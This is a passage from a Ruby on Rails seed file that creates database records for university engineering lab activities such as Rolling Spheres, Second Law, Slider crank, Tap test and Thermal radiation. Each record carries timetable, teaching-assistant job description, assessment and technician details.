ActivityTeaching.where(activity_id: a220.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a220.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a220.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a220.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a220.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a221 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC453\").first.id, code: \"520\").first_or_create!(name: \"Non linear vibration\",\n name_abrv: \"NONLINEARVIB\", archived: true, in_drive: false, user_id: 3)\n at221 = ActivityTimetable.where(activity_id: a221.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a221.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a221.id).first_or_create!(criteria: \"\",\n job_desc:\"? Previously had claims from MEC dpt after work has been done by GTAs. (email from Jason Hawley 05/11/18)\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a221.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a221.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a221.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a222 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"unknowncode6\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: true, in_drive: false, user_id: 1)\n at222 = ActivityTimetable.where(activity_id: a222.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a222.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a222.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a222.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a222.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a222.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a223 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"521AE\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: false, in_drive: false, user_id: 5)\n at223 = ActivityTimetable.where(activity_id: a223.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a223.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a223.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a223.id).first_or_create!(assess_weight: nil, notes: \"formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a223.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a223.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a224 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"521\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: false, in_drive: false, user_id: 4)\n at224 = ActivityTimetable.where(activity_id: a224.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a224.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a224.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a224.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a224.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a224.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a225 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"2NDLAW\", archived: false, in_drive: false, user_id: 3)\n at225 = ActivityTimetable.where(activity_id: a225.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a225.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a225.id).first_or_create!(criteria: \"\",\n job_desc:\"Lab on the most important law in engineering the 2nd law - actually heat exchangers and compressors.\n Three sessions to run.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a225.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a225.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a225.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a226 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 4)\n at226 = ActivityTimetable.where(activity_id: a226.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a226.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a226.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a226.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a226.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a226.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a227 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 3)\n at227 = ActivityTimetable.where(activity_id: a227.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a227.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a227.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a227.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a227.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a227.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a228 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 3)\n at228 = ActivityTimetable.where(activity_id: a228.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a228.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a228.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a228.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a228.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a228.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a229 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC321\").first.id, code: \"523\").first_or_create!(name: \"servo motor frequency\",\n name_abrv: \"MEC-FREQ\", archived: false, in_drive: false, user_id: 3)\n at229 = ActivityTimetable.where(activity_id: a229.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a229.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a229.id).first_or_create!(criteria: \"Interest in Control.\",\n job_desc:\"Lab demonstration, no in lab marking. Training provided. Design a PI controller for a 1st order system, based on characteristic equation of the closed loop system and a performance specification. There might be some Bode diagrams as well. A great way to revise control.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a229.id).first_or_create!(assess_weight: 5.0, notes: \"Attendance and completion of lab\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a229.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a229.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a230 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC321\").first.id, code: \"524\").first_or_create!(name: \"Servo Motor Time\",\n name_abrv: \"MEC-TIME\", archived: false, in_drive: false, user_id: 1)\n at230 = ActivityTimetable.where(activity_id: a230.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a230.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a230.id).first_or_create!(criteria: \"Interest in Control.\",\n job_desc:\"Lab demonstration, no in lab marking. Training provided. The lab gives the students a basic knowledge of the sensors used in measuring a motor’s behaviour, an understanding of the need for closed-loop control of a motor, observe the difference between open loop, proportional, and proportional + integral control. A great way to revise control.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a230.id).first_or_create!(assess_weight: 5.0, notes: \"Attendance and completion of lab\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a230.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a230.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a231 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"525\").first_or_create!(name: \"Slider crank\",\n name_abrv: \"SLIDERCRANK\", archived: false, in_drive: false, user_id: 1)\n at231 = ActivityTimetable.where(activity_id: a231.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a231.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a231.id).first_or_create!(criteria: \"\",\n job_desc:\"What can be more mechanical than a slider crank?\n Validating acceleration diagrams by measuring acceleration in a slider-crank mechanism using LabVIEW and motor apparatus - supervise and assist students. GTAs should have knowledge of basic dynamics.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a231.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a231.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a231.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a232 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"525\").first_or_create!(name: \"Slider crank\",\n name_abrv: \"SLIDERCRANK\", archived: false, in_drive: false, user_id: 3)\n at232 = ActivityTimetable.where(activity_id: a232.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a232.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a232.id).first_or_create!(criteria: \"GTAs should have knowledge of basic dynamics.\",\n job_desc:\"What can be more mechanical than a slider crank?\n Validating acceleration diagrams by measuring acceleration in a slider-crank mechanism using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a232.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a232.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a232.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a233 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR333\").first.id, code: \"526\").first_or_create!(name: \"Strut Test\",\n name_abrv: \"STRUTTEST\", archived: true, in_drive: false, user_id: 5)\n at233 = ActivityTimetable.where(activity_id: a233.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a233.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a233.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a233.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a233.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a233.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a234 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"526\").first_or_create!(name: \"Strut Test\",\n name_abrv: \"STRUTTEST\", archived: false, in_drive: false, user_id: 3)\n at234 = ActivityTimetable.where(activity_id: a234.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"See RW\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a234.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a234.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a234.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a234.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a234.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a235 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC326\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 4)\n at235 = ActivityTimetable.where(activity_id: a235.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a235.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a235.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a235.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a235.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a235.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a236 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC327\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 1)\n at236 = ActivityTimetable.where(activity_id: a236.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a236.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a236.id).first_or_create!(criteria: \"\",\n job_desc:\"GTA's selected by department - email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a236.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a236.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a236.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a237 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 1)\n at237 = ActivityTimetable.where(activity_id: a237.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a237.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a237.id).first_or_create!(criteria: \"\",\n job_desc:\"Advanced dynamics labs.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a237.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a237.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a237.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a238 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER293\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 5)\n at238 = ActivityTimetable.where(activity_id: a238.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a238.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a238.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a238.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a238.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a238.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a239 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 1)\n at239 = ActivityTimetable.where(activity_id: a239.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a239.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a239.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a239.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a239.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a239.id, programme_id: 